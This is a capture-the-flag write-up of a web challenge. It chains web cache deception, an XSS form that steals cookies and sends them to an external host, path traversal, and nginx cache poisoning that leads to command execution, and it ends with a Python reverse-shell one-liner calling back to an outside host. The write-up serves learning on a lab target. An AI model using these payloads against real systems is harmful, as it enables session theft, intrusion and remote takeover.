
On the contacts page, we were able to send links to the admin bot, which it would then visit, and we assumed we had to steal credentials to get into the admin.php page. After we were unable to steal any cookies or find XSS on the site, we used nmap to scan the host. It showed that both 80 and 8080 were open; later a hint was released that there was a difference between them.
1
2
3
4
5
6
7
8
| PORT STATE SERVICE VERSION
80/tcp open http nginx 1.10.1 (Ubuntu)
|_http-server-header: nginx/1.10.1 (Ubuntu)
|_http-title: TimeHackers Cr3w
8080/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: TimeHackers Cr3w
|
We found out that port 80 is proxying to 8080 and caching static files like JS and CSS. We also noticed that for http://timehackers/contact.php/nothere.css the server returned contact.php but the URL stayed the same, and when we first visited a nonexistent page, it would take longer to load than on subsequent requests. After some research, we found an attack called the Web Cache Deception attack, basically abusing exactly this behavior.

So we sent this link to the admin: http://timehackers.de/admin.php/dfghjkdsadsa.css. It was cached, and when we visited the link we saw the admin page with the admin logged in.

We had a look at the source and found how the passwords were retrieved:
1
2
3
4
| <script src="/static/$uper$ecret@dmin.js"></script>
<script>
var csrf_token = "e70587b636fbd11930b99718f71f29c3";
</script>
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
| function get_password(username) {
$.ajax({
type: "POST",
url: "/api.php",
data: {"token":csrf_token,"action":"get_password","username":username},
dataType: "json",
success:function (data) {
if (data["error"] === '')
{
$("#" + username).text(data["result"]);
}
else
alert('Error: ' + data["error"]);
}
});
}
|
The problem was that we could not get valid CSRF tokens to talk to api.php, but now we knew the parameters and, after some testing, found it to be vulnerable to XSS. This was caused by an incorrect Content-Type (Content-Type: text/html;) combined with json_encode.

Next, we developed a payload that would steal the admin session.
1
2
3
4
5
6
7
| <form name="x" action="http://timehackers.xxx.xxx/api.php" method="post">
<input type="hidden" name="token" value="e70587b636fbd1193<svg onload='img = new Image(); img.src=String.fromCharCode(104, 116, 116, 112, 58, 47, 47, [...]).concat(btoa(document.cookie));'>">
<input type="hidden" name="action" value="get_password">
<input type="hidden" name="username" value="admin">
</form>
<script>document.x.submit()</script>
|
We sent a link to the HTML to the admin and got the cookie.
1
2
3
4
5
| x.x.x.x - - [18/Jul/2017 14:31:26] "GET /postxss.html HTTP/1.1" 200 -
x.x.x.x - - [18/Jul/2017 14:31:26] "GET /?cookie=UEhQU0VTU0lEPWQ3aDJmc2xrMjUya3ZkMmxpbDZtZGh1ZmMw HTTP/1.1" 200 -
echo "UEhQU0VTU0lEPWQ3aDJmc2xrMjUya3ZkMmxpbDZtZGh1ZmMw"|base64 --decode
PHPSESSID=d7h2fslk252kvd2lil6mdhufc0
|
Now we were able to log in and get the passwords because we could get valid CSRF tokens.
| User | Password | email |
|---|
| admin | 0mgH@rdP@sS | admin@timehackers |
| jonny | j0HhNy1337 | jonny@timehackers |
| pro_hacker | M@kE_L0Ve_St0P_H@cK | pro_hacker@timehackers |
Next we noticed the following URL in the admin page, /admin.php?p=logout.php, and got local file read access.
1
| http://timehackers.xxx.xxx/admin.php?p=../../../../etc/passwd
|

At this point I got stuck because I could not get LFI or read any PHP files. After the CTF I was able to solve this though. You were supposed to see in the nginx.conf that you could include the cached files.
1
2
3
4
5
6
7
8
9
| # Cache
##
proxy_cache_path /var/lib/nginx/cache levels=1:2 keys_zone=backcache:8m max_size=50m;
#proxy_cache_key "$scheme$request_method$host$request_uri$is_args$args";
proxy_cache_key "$host$request_uri";
proxy_cache_valid 200 302 10m;
proxy_cache_valid 404 1m;
proxy_cache_methods GET;
|
So basically, send a request to a static file like this:
1
2
| /static/main.css?<?=system($_GET[123]);?> HTTP/1.1
Host: foobar
|
It gets cached in /var/lib/nginx/cache/.
From nginx.conf we know proxy_cache_key "$host$request_uri";, so we can predict the cache file location:
1
| md5(foobar/static/main.css?<?=system($_GET[123]);?>) = 636e51cca21e00aeab685ac59f683d0b
|
So it will be here:
1
| /var/lib/nginx/cache/b/d0/636e51cca21e00aeab685ac59f683d0b
|
Notice that both the b and d0 folders are derived from the MD5 sum.
Now we can get the cache file and execute commands :).
Request:
1
| GET /admin.php?p=../../../../var/lib/nginx/cache/b/d0/636e51cca21e00aeab685ac59f683d0b&123=id
|
Response:
1
2
3
4
5
6
| KEY: foobar/static/main.css?uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)HTTP/1.1 200 OK
Date: Tue, 18 Jul 2017 12:59:58 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Mon, 17 Jul 2017 14:28:16 GMT
ETag: "266-5548435a56000"
|
I used a Python reverse shell one-liner and started hunting for the flag:
1
| python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("veryhax.ninja",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
|
(don’t forget the & after the command and to URL-encode)
And finally I got the flag!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
| www-data@d5fef3a73e4e:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@d5fef3a73e4e:/var/www/html$ ls -lisa
total 72
306 4 drwxr-xr-x 7 root root 4096 Jul 18 07:32 .
305 4 drwxr-xr-x 5 root root 4096 Jul 18 07:32 ..
1337 4 -rw-r--r-- 1 root root 85 Jul 17 14:28 .htaccess
1377 4 -rw-r--r-- 1 root root 3838 Jul 17 14:28 admin.php
2925 4 -rw-r--r-- 1 root root 1183 Jul 17 14:28 api.php
1373 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 backgrounds
1339 4 -rw-r--r-- 1 root root 355 Jul 17 14:28 config.php
1368 8 -rw-r--r-- 1 root root 4953 Jul 17 14:28 contact.php
1375 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 fonts
1340 4 -rw-r--r-- 1 root root 167 Jul 17 14:28 functions.php
1366 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 img
4273 4 -rw-r--r-- 1 root root 612 Jul 18 07:30 index.nginx-debian.html
1338 4 -rw-r--r-- 1 root root 1343 Jul 17 14:28 index.php
1372 8 -rwxr-xr-x 1 root root 7036 Jul 17 14:28 simple-php-captcha.php
1341 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 static
2289 4 drwxr-xr-x 2 root root 4096 Jul 17 14:28 templates
www-data@d5fef3a73e4e:/var/www/html$ cat /flag/*
ctfzone{b3_c@R3fuL_w17h_C@cH1ng}
|
Really long, but a nice challenge, and I learned about a new web attack. Props to the author.